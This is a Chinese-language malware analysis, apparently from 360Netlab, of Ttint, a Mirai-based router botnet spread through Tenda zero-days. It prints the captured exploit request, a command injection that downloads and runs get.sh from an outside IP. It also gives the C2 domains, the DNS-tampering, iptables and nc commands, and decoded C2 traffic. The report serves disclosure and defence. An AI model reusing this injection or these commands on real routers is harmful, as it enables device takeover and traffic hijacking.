背景介绍
从2019年11月开始,360Netlab Anglerfish系统已使用两个Tenda路由器0天漏洞连续监视攻击者,以传播基于Mirai代码的远程访问木马(RAT)。
常规Mirai变体通常集中在DDoS上,但此变体有所不同。除了DDoS攻击外,它还实现了12种远程访问功能,例如用于路由器设备的Socket5代理,篡改路由器DNS,设置iptables,执行自定义系统命令。
另外,在C2通信级别,它使用WSS(基于TLS的WebSocket)协议。这样做可以在流量级别上规避典型的Mirai流量检测,并且还为C2提供安全的加密通信。
关于基础架构,攻击者首先使用Google云服务IP,然后切换到香港的托管服务提供商。当我们在DNSmon系统中查找网站证书,示例,域名和IP之后,我们能够看到更多的基础结构IP,示例和更多的C2域名。
零零天,路由器的12种远程访问功能,加密的流量协议和随处可见的基础结构IP。这个僵尸网络似乎并不是一个非常典型的参与者。
我们将此僵尸网络命名为Ttint。
0Day漏洞攻击
在2019年11月9日,我们检测到攻击者使用第一个Tenda路由器0天漏洞(CVE-2018-14558&CVE-2020-10987)传播了Ttint样本。值得注意的是,此漏洞直到2020年7月10日才被披露[ 1]。
GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1Host: {target}Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.22.0
2020年8月21日,我们看到了第二个Tenda路由器0天漏洞被用来传播Ttint样本。
2020年8月28日,我们通过电子邮件向路由器制造商Tenda报告了第二个0天漏洞和PoC的详细信息,但制造商尚未做出回应。
0Day漏洞范围
我们发现以下Tenda路由器固件受到360 FirmwareTotal系统的影响。
US_AC9V1.0BR_V15.03.05.14_multi_TD01US_AC9V1.0BR_V15.03.05.16_multi_TRU01US_AC9V1.0BR_V15.03.2.10_multi_TD01US_AC9V1.0BR_V15.03.2.13_multi_TD01US_AC9V1.0BR_V15.03.2.13_multi_TDE01US_AC9V3.0RTL_V15.03.06.42_multi_TD01US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01US_AC15V1.0BR_V15.03.05.18_multi_TD01US_AC15V1.0BR_V15.03.05.19_multi_TD01US_AC15V1.0BR_V15.03.1.8_EN_TDEUSUS_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUSUS_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUSUS_AC15V1.0BR_V15.03.1.12_multi_TD01US_AC15V1.0BR_V15.03.1.16_multi_TD01US_AC15V1.0BR_V15.03.1.17_multi_TD01US_AC18V1.0BR_V15.03.05.05_multi_TD01US_AC18V1.0BR_V15.03.3.6_multi_TD01US_AC18V1.0BR_V15.03.3.10_multi_TD01ac9_kf_V15.03.05.19(6318_)_cnac18_kf_V15.03.05.19(6318_)_cn我们还查看了360 Quake网络空间测绘系统,结果如下
色彩概述
Ttint是基于Mirai代码的路由器设备的远程访问木马。除了多路传输10条Mirai DDoS攻击指令外,它还实现12条控制指令。
我们分析并比较了这两个时期的Ttint样本,发现它们的C2指令完全相同,但是它们在0Day漏洞,XOR密钥和使用的C2协议方面存在一些差异。
逆向分析
一般来说,在主机级别,Ttint的行为相对简单。运行时,它将删除自己的文件,操纵看门狗,并防止设备重新启动,通过绑定端口,它作为单个实例运行。然后修改进程名称以使用户感到困惑;最后,它与解密的C2建立连接,报告设备信息,等待C2发出指令,并执行相应的攻击或自定义功能。
我们可以看到它保留了许多mirai功能,例如单实例,随机进程名称,敏感的配置信息加密,大量攻击向量的集成等;
尽管有一些变化,但最值得注意的是,它重写了网络通信部分以使用websocket协议。
让我们看一些自定义函数。
Ttint v2样本分析
MD5:73ffd45ab46415b41831faee138f306e
ELF 32位LSB可执行文件,英特尔80386版本1(SYSV),静态链接,已剥离
Lib:uclib
Socket5代理
通过绑定C2发出的特定端口以启用Socket5代理服务。攻击者可以远程访问路由器的Intranet,进行Intranet漫游。
篡改路由器DNS
通过修改resolv.conf文件来篡改路由器DNS,
echo nameserver "DNS server" > /etc/etc/resolv.conf
这样的结果是,Ttint的作者可以劫持受影响的路由设备下用户的任何网络访问,从而有可能监视或窃取敏感信息。
配置iptables
通过设置iptables,可以轻松实现流量转发和目标地址转换。。以下配置用于将内部网络服务公开给公共网络。
iptables -t nat -A PREROUTING -d "" -p tcp --dport "" -j DNAT --to-destination ""iptables -t nat -A POSTROUTING -d "" -p tcp --dport "" -j SNAT ""iptables -A FORWARD -d -j ACCEPT
反壳
通过使用套接字实现反向外壳,Ttint的作者可以将受影响的路由设备的外壳作为本地外壳进行操作。
自我升级
该机器人可以从指定的下载URL(默认为uhyg8v.notepod2.com:5001)下载相应的CPU体系结构以进行自我更新。
自我退出
Ttint通过绑定端口57322来实现单个实例,通过使用此端口终止进程,它可以退出。
隐藏的网络频道
通过使用nc工具监视C2发出的特定端口,可以在Ttint作者与受影响的路由设备之间建立通信。(-d参数的含义是“从stdin分离”,因此我们推测PORT后面有一个重定向指令)
nc -d -l "PORT" "some redirect cmd"
报告设备信息
向C2报告设备的时间,操作系统,cpu,ip,版本和mac信息,但是示例中的格式字符串中有一个错误,并且缺少“&”字符 type=back_infoatk_id=%s&time=&os=
执行系统命令
通过popen函数执行C2发出的自定义系统命令
C2协议分析
Ttint Bot样本的C2信息被加密并以Mirai格式存储在配置信息表中。XOR键是0x0EDFCEBDA
c2 ciphertxt:51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20c2 plaintxt:q9uvveypiB.notepod2.com
当漫游器运行时,它解密以获取C2地址ws:q9uvveypiB.notepod2.com:443,然后通过TLS协议上的WebSocket安全地与C2通信。
WebSocket协议
当Ttint C2以101的响应代码回复Bot时,表示协议握手已完成,然后Bot可以使用WebSocket协议进行通信。以下是TLS解密后的WebSocket数据包示例。
Bot的“上线”包
根据WebSocket协议,我们知道有效载荷长度为0x81,掩码为0xD5F39E67,有效载荷数据地址为0x08〜0x88。
00000000: 81 FE 00 81 D5 F3 9E 67 A1 8A EE 02 E8 91 FF 04 .......g........00000010: BE AC F7 09 B3 9C B8 06 A1 98 C1 0E B1 CE AE 41 ...............A00000020: A1 9A F3 02 E8 D5 F1 14 E8 BF F7 09 A0 8B BE 53 ...............S00000030: FB C2 AB 49 E5 DE AA 55 F8 94 FB 09 B0 81 F7 04 ...I...U........00000040: F3 90 EE 12 E8 9A A8 5F E3 D5 F7 17 E8 C2 A7 55 ......._.......U00000050: FB C2 A8 5F FB C1 AC 55 FB C2 AC 5F F3 85 FB 15 ..._...U..._....00000060: A6 9A F1 09 E8 C6 FD 02 E5 91 A9 04 E7 D5 FF 15 ................00000070: B2 80 A3 41 B8 92 FD 5A E5 C3 A4 57 B6 C9 AC 5E ...A...Z...W...^00000080: EF C4 F8 5D E7 C7 A4 5E E7
使用掩码对有效载荷数据执行XOR计算,并以纯文本格式获得有效载荷,这正是Bot的“上线”数据包。
00000000 74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61 |type=back_info&a|00000010 74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73 |tk_id=0&time=&os|00000020 3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32 |=Linux 4.15.0-42|00000030 2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38 |-generic&cpu=i68|00000040 36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32 |6&ip=192.168.222|00000050 2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65 |.128&version=5ce|00000060 30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d |0b7c2&args=&mac=|00000070 30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39 |00:0c:29:7f:24:9|00000080 32
C2指令
总体而言,Ttint Bot支持22种C2命令,其中10条来自Mirai的DDoS命令,其余12条是新的。
ID | 指令 |
---|---|
0 | Attack_udp_generic |
2 | Attack_udp_vse |
2 | Attack_udp_dns |
9 | Attack_udp_plain |
3 | Attack_tcp_flag |
4 | Attack_tcp_pack |
5 | Attack_tcp_xmas |
6 | Attack_grep_ip |
7 | Attack_grep_eth |
10 | Attack_app_http |
12 | 运行“ nc”命令 |
13 | 运行“ ls”命令 |
15 | 执行系统命令 |
16 | 篡改路由器DNS |
18 | 报告设备信息 |
14 | 配置iptables |
11 | 运行“ ifconfig”命令 |
17 | 自我退出 |
19 | 打开Socks5代理 |
20 | 关闭Socks5代理 |
21 | 自我升级 |
22 | 反壳 |
C2命令格式分析
我们捕获了C2发送给机器人的以下命令。
00000000: 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 1A 13 .U.......... ...00000010: 70 70 2D 6C 4F 76 32 78 39 6E 31 33 58 73 5A 30 pp-lOv2x9n13XsZ000000020: 77 76 44 1B 30 69 70 74 61 62 6C 65 73 20 2D 44 wvD.0iptables -D00000030: 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 2D 2D INPUT -p tcp --00000040: 64 70 6F 72 74 20 35 32 36 38 35 20 2D 6A 20 41 dport 52685 -j A00000050: 43 43 45 50 54 CCEPT
以下是格式的细分
00 55 ---- msg length0F ---- cmd id, here is "run system cmd"02 ---- option number1A ---- option type, here is "attack id"13 ---- option length, length of "pp-lOv2x9n13XsZ0wvD" = 0x131B ---- option type, here is "attack cmd buf"30 ---- option length
一般来说,Ttint将结合多个自定义功能以实现特定的攻击目标。
采取我们捕获的两个相邻命令,第一个命令是
iptables -I INPUT -p tcp --dport 51599 -j ACCEPT,以允许访问受影响设备的端口51599。
00000000: 82 55 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 .U.U.......... .00000010: 1A 13 70 70 2D 51 77 76 73 59 59 45 45 4D 70 36 ..pp-QwvsYYEEMp600000020: 77 49 31 62 43 1B 30 69 70 74 61 62 6C 65 73 20 wI1bC.0iptables 00000030: 2D 49 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 -I INPUT -p tcp 00000040: 2D 2D 64 70 6F 72 74 20 35 31 35 39 39 20 2D 6A --dport 51599 -j00000050: 20 41 43 43 45 50 54 ACCEPT
下一条命令是在受影响的设备的端口51599上启用Socket5代理功能。
00000000: 82 3C 00 3C 00 00 00 0A 13 01 00 00 00 00 20 04 .<. .>00000010: 1C 05 35 31 35 39 39 1D 06 61 6D 68 78 65 66 1E ..51599..amhxef.00000020: 08 64 40 61 59 79 31 39 52 1A 13 70 70 2D 30 58 .d@aYy19R..pp-0X00000030: 74 79 73 61 33 79 58 4D 51 59 6E 6C 41 72 tysa3yXMQYnlAr
这两个命令的组合启用并允许攻击者使用Socket5代理。
推荐建议
我们建议Tenda路由器用户检查其固件并进行必要的更新。
我们还建议我们的读者监视和阻止相关的IoC。